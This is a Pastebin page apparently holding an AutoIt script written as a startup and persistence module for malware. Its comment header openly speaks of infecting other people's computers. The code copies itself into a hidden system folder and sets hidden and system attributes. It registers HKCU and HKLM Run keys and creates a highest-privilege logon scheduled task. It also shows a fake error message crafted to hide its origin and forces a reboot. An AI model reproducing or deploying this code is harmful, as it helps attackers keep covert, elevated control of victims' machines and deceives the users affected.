Candyland

TaskSheduler/Registry Startup

Feb 10th, 2017
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 5.22 KB | None | 0 0
  1. #cs ----------------------------------------------------------------------------
  2.  
  3.  AutoIt Version: 3.3.15.0 (Beta)
  4.  Author:         Candyland
  5.  
  6.  First Word:
  7.     This Script was Created for Educational Purposes. The Script is able to Startup Malware(etc.).
  8.     Look on the Laws of your Country when infecting others People Computers, its may Illeagle.
  9.     Licens: CC-BY-NC readable here: https://creativecommons.org/licenses/by-nc/3.0/de/
  10.  
  11.  Script Function:
  12.     Autoit3 Startup Method. Some User wont have UAC on(may they got infected befor or they dont like the popups),
  13.     So the Script will Choose the Startup Method by checking if it has Admin Priviliges.(0=RegistryStartup,1=TaskShedulderStartup)
  14.  
  15.     First Steps:
  16.     Script is Installing itself to the $IPath Directory and will name itself $name
  17.     After it, it checks if the Installed Process allready exists, if so kill process.
  18.     After it, it checks if the File may already exists in that Folder with the same name, if so delete file.
  19.     After it, it checks if the Process isnt existing and the file to, if so the Dir will be created(noerror) and the File copying itself to $IPath & $name.
  20.     The Script will give itself the Hidden, System and Archive File status. So its quiet hidden and cant been seen by CMD.
  21.     It also will be created an Registry Startup just to make sure that the file is restarting itself.(so if not the next PC start will do it)
  22.  
  23.     Second Steps:
  24.     So if the Script gets AdminPriviliges the script will Querry the TaskSheduler if a Task with the name $taskname exists.
  25.     @ComSpec is outputing a file named $txtname. The file will be readed and checked if there is on the 5th Line the $taskname. If not the Task will Created.
  26.     An ErrorMsg will also being Created in .vbs so when it will get Run the user is not able to see where it was Started from. (Properties->Windows->System32 not $IPath)
  27.     After quiet a time the Error appears and the Computer should be restarted soon. After restart the Script has Admin Priviliges!
  28.     There will also being an Registry Entry made for HKLM64 which is only being acessible when getting AdminP. With that the Script will
  29.     start itself on other Users on the same Computer to.
  30.  
  31.     If the Script does not get Admin Priviliges it will simply create an Registry Entry.
  32.     Whenever the Script gets AdminP, even when its installed, the Task in the TaskSheduler will be created.
  33.  
  34.     To Delete the Task in the Sheduler open the CMD with AdminPriviliges and type: schtasks /DELETE /TN "$taskname" /F
  35.  
  36. #ce ----------------------------------------------------------------------------
  37. Local $IPath = "C:\ProgramData\Startup\"
  38. Local $name = "Huhn.au3"
  39. Local $taskname = "TEST01"
  40. Local $AutorunHKLM64 = "TESTStartup"
  41. Local $AutorunHKCU = "TESTStartup"
  42. Local $vbsname = "fakeerror.vbs"
  43. Local $vbspath = @ScriptDir & '\' & $vbsname
  44. Local $txtname = "Tog.log"
  45. Local $txtpath = @ScriptDir & '\' & $txtname
  46. Local $install = $IPath & $name
  47. Local $admin = IsAdmin()
  48. Local $Addinstall = 1
  49. Local $AddStartup = 1
  50. Local $osa = @OSArch
  51.  
  52. If $Addinstall = 0 Then
  53.     Local $AddStartup = 0
  54. EndIf
  55.  
  56. If $Addinstall = 1 Then
  57.     If Not FileExists($vbspath) Then
  58.         If @ScriptName <> $name Then
  59.             If ProcessExists($name) Then
  60.                 ProcessClose($name)
  61.                 ProcessWaitClose($name)
  62.             EndIf
  63.             If FileExists($install) Then
  64.                 $GetAttrip = FileGetAttrib($install)
  65.                 If $GetAttrip = "ASH" Then
  66.                     FileSetAttrib($install, "-ASH")
  67.                 EndIf
  68.                 FileDelete($install)
  69.             EndIf
  70.             If Not ProcessExists($name) Then
  71.                 If Not FileExists($install) Then
  72.                     DirCreate($IPath)
  73.                     FileCopy(@ScriptFullPath, $install)
  74.                     FileSetAttrib($install, "+ASH")
  75.                     RegWrite("HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKCU, "REG_SZ", $install)
  76.                     ShellExecute($install)
  77.                     Exit
  78.                 EndIf
  79.             EndIf
  80.             Exit
  81.         EndIf
  82.     EndIf
  83. EndIf
  84.  
  85. If $AddStartup = 1 Then
  86.     If FileExists($txtpath) Then FileDelete($txtpath)
  87.     If FileExists($vbspath) Then FileDelete($vbspath)
  88.     If $admin = 1 Then
  89.         $StartSleeptimer = "2000"
  90.         $Cmdqu = 'schtasks.exe /QUERY /TN "' & $taskname & '" >' & $txtname
  91.         $CmdSch = 'schtasks /CREATE /TN "' & $taskname & '" /TR "' & $install & '" ' & '/SC ONLOGON' & ' /RL HIGHEST'
  92.         $Cmdvbs = 'echo Msgbox"For Several Reasons your Computer have to be Restarted",64,"Think about your own Msg" >' & $vbsname
  93.         RunWait(@ComSpec & ' /C ' & $Cmdqu & @CRLF & "EXIT", @ScriptDir, @SW_HIDE)
  94.         Sleep(1000)
  95.         $FRead = FileReadLine($txtpath, 5)
  96.         If Not StringInStr($FRead, $taskname) Then
  97.             FileDelete($txtpath)
  98.             RunWait(@ComSpec & ' /C ' & $CmdSch & @CRLF & "EXIT", @ScriptDir, @SW_HIDE)
  99.             Sleep(1000)
  100.             RunWait(@ComSpec & ' /C ' & $Cmdvbs & @CRLF & "EXIT", @ScriptDir, @SW_HIDE)
  101.             Sleep($StartSleeptimer)
  102.             ShellExecute($vbspath)
  103.             Sleep(1000)
  104.             FileDelete($vbspath)
  105.             Shutdown(6)
  106.             Sleep(1000)
  107.             Exit
  108.         EndIf
  109.         if $osa = "X64" Then
  110.             RegWrite("HKLM64\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKLM64, "REG_SZ", $install)
  111.         Else
  112.             RegWrite("HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKLM64, "REG_SZ", $install)
  113.         EndIf
  114.         RegDelete("HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKCU)
  115.         FileDelete($txtpath)
  116.     Else
  117.         RegWrite("HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKCU, "REG_SZ", $install)
  118.     EndIf
  119. EndIf
Advertisement
Add Comment
Please, Sign In to add comment